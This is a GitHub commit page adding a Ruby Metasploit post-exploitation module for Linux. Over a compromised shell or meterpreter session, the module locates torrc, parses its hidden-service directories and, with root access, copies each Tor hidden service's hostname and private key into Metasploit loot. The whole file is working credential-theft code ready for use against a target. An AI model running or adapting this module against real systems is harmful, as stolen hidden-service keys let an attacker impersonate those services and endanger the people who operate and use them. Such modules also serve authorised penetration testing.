Skip to content

Commit f557aa3

Browse files
committed
Linux post module to search for and grab TOR hidden service configurations
1 parent bac17a8 commit f557aa3

File tree

1 file changed

+86
-0
lines changed

1 file changed

+86
-0
lines changed
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
# Adapted from post/linux/gather/enum_configs.rb
6+
##
7+
8+
class MetasploitModule < Msf::Post
9+
10+
include Msf::Post::Linux::System
11+
include Msf::Post::Linux::Priv
12+
13+
def initialize(info={})
14+
super( update_info( info,
15+
'Name' => 'Linux Gather TOR Hidden Services',
16+
'Description' => %q{
17+
This module collects the hostnames name and private keys of
18+
any TOR Hidden Services running on the target machine. It
19+
will search for torrc and if found, will parse it for the
20+
directories of Hidden Services. However, root permissions
21+
are required to read them as they are owned by the user that
22+
TOR runs as, usually a separate account.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Harvey Phillips <xcellerator[at]gmx.com>',
28+
],
29+
'Platform' => ['linux'],
30+
'SessionTypes' => ['shell', 'meterpreter']
31+
))
32+
end
33+
34+
def run
35+
distro = get_sysinfo
36+
h = get_host
37+
print_status("Running module against #{h}")
38+
print_status("Info:")
39+
print_status("\t#{distro[:version]}")
40+
print_status("\t#{distro[:kernel]}")
41+
print_status("Looking for torrc...")
42+
find_torrc
43+
end
44+
45+
def save(file, data, ltype, ctype="text/plain")
46+
fname = ::File.basename(file)
47+
loot = store_loot(ltype, ctype, session, data, fname)
48+
print_status("#{fname} stored in #{loot.to_s}")
49+
end
50+
51+
def get_host
52+
case session.type
53+
when /meterpreter/
54+
host = sysinfo["Computer"]
55+
when /shell/
56+
host = cmd_exec("hostname").chomp
57+
end
58+
59+
return host
60+
end
61+
62+
def find_torrc
63+
config = cmd_exec("find / -name 'torrc' 2>/dev/null | head -n 1").chomp
64+
if config != ""
65+
print_good("Torrc file found at #{config}")
66+
hiddenservices = cmd_exec("cat #{config} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")
67+
print_good("Hidden Services found!")
68+
69+
if is_root?
70+
hiddenservices.each do |f|
71+
output = read_file("#{f}hostname")
72+
save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/
73+
end
74+
75+
hiddenservices.each do |f|
76+
output = read_file("#{f}private_key")
77+
save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
78+
end
79+
else
80+
print_error("Hidden Services were found, but we need root to access the directories")
81+
end
82+
else
83+
print_error("No Torrc file found. Perhaps it goes by another name?")
84+
end
85+
end
86+
end

0 commit comments

Comments
 (0)